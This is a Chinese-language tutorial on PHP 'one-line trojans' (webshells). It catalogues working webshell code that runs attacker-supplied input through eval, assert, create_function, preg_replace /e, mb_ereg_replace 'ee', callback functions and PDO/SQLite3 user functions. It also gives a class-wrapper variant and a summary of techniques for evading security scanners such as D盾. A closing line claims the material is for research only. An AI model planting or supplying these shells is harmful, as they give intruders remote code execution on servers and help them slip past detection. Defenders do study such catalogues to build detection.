关于php一句话木马的学习
字数 884 2025-08-09 23:12:43
PHP一句话木马技术详解
一、基础概念
PHP一句话木马是一种小型恶意脚本,通常用于远程控制服务器。其核心特点是代码简短(通常只有一行),但功能强大,能够执行攻击者发送的任意PHP代码。
二、传统执行函数
1. eval函数
<?php @eval($_POST['a']) ?>
- PHP5和PHP7通用
- eval是语言构造器而非函数
- 不能进行函数名拆分
2. assert函数
<?php @assert($_POST['a']) ?>
- 早期版本可通过编码和拆分assert提高隐蔽性
- PHP7.0+并未禁用,但禁止了拆分
- 与eval类似,也是语言构造器
三、函数创建与正则替换类
1. create_function
<?php
$st = @create_function('', $_POST['a']);
$st();
?>
- 内部实现相当于执行eval
- PHP5和PHP7都可用
- 创建一个匿名函数并执行
2. preg_replace (仅限PHP5)
<?php @preg_replace('/.*/e', $_POST['a'], ''); ?>
- /e修饰符使替换字符串作为PHP代码执行
- PHP7已移除此功能
类似函数:
<?php @preg_filter('/.*/e', $_POST['a'], ''); ?>
3. mb_ereg_replace系列 (PHP5/PHP7)
<?php @mb_ereg_replace('.*', $_POST['a'], '', 'ee'); ?>
<?php @mb_eregi_replace('.*', $_POST['a'], '', 'ee'); ?>
别名:
<?php @mbereg_replace('.*', $_POST['a'], '', 'ee'); ?>
<?php @mberegi_replace('.*', $_POST['a'], '', 'ee'); ?>
- 'ee'修饰符相当于/e
- PHP7仍保留此功能
四、绕过检测技术
1. 类封装方法
<?php
class create {
public $filter = ['q' => '_function'];
public $value = '';
public function __construct() {
$this->value = $_POST['a'];
$name = get_class($this) . $this->filter['q'];
$st = $name('', $this->value);
$st();
}
}
$a = new create();
?>
- PHP5.3.29和5.2.17不可行
- PHP5.4.45-PHP7可行
- 建议:PHP5用assert拆分,PHP7用create_function拆分
五、回调函数技术
1. 基本回调形式
<?php $_GET['a']($_GET['b']); ?>
2. 标准回调函数
<?php call_user_func('assert', $_REQUEST['pass']); ?>
<?php call_user_func_array('assert', array($_REQUEST['pass'])); ?>
3. 高级免杀回调
<?php filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert')); ?>
<?php
filter_var_array(
array('test' => $_REQUEST['pass']),
array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert'))
);
?>
<?php
$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['pass']);
?>
<?php mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e'); ?>
4. 基于扩展库的回调
PDO方式:
<?php
$e = $_REQUEST['e'];
$db = new PDO('sqlite:sqlite.db3');
$db->sqliteCreateFunction('myfunc', $e, 1);
$sth = $db->prepare("SELECT myfunc(:exec)");
$sth->execute(array(':exec' => $_REQUEST['pass']));
?>
SQLite3方式 (PHP5.3+):
<?php
$e = $_REQUEST['e'];
$db = new SQLite3('sqlite.db3');
$db->createFunction('myfunc', $e);
$stmt = $db->prepare("SELECT myfunc(?)");
$stmt->bindValue(1, $_REQUEST['pass'], SQLITE3_TEXT);
$stmt->execute();
?>
六、技术要点总结
-
执行方式选择:
- PHP5环境:eval、assert、preg_replace(/e)、create_function
- PHP7环境:eval、create_function、mb_ereg_replace(ee)
-
隐蔽性技巧:
- 使用@抑制错误
- 函数名拆分
- 类封装
- 非常用回调函数
-
防御规避:
- 针对安全软件(D盾等)的检测规则进行混淆
- 使用不常见的函数组合
- 利用PHP扩展功能
-
发展趋势:
- 随着PHP版本更新,传统方法可能失效
- 回调函数和类封装成为主流
- 对PHP扩展功能的利用增加
注意:本文仅用于安全研究和防御技术学习,请勿用于非法用途。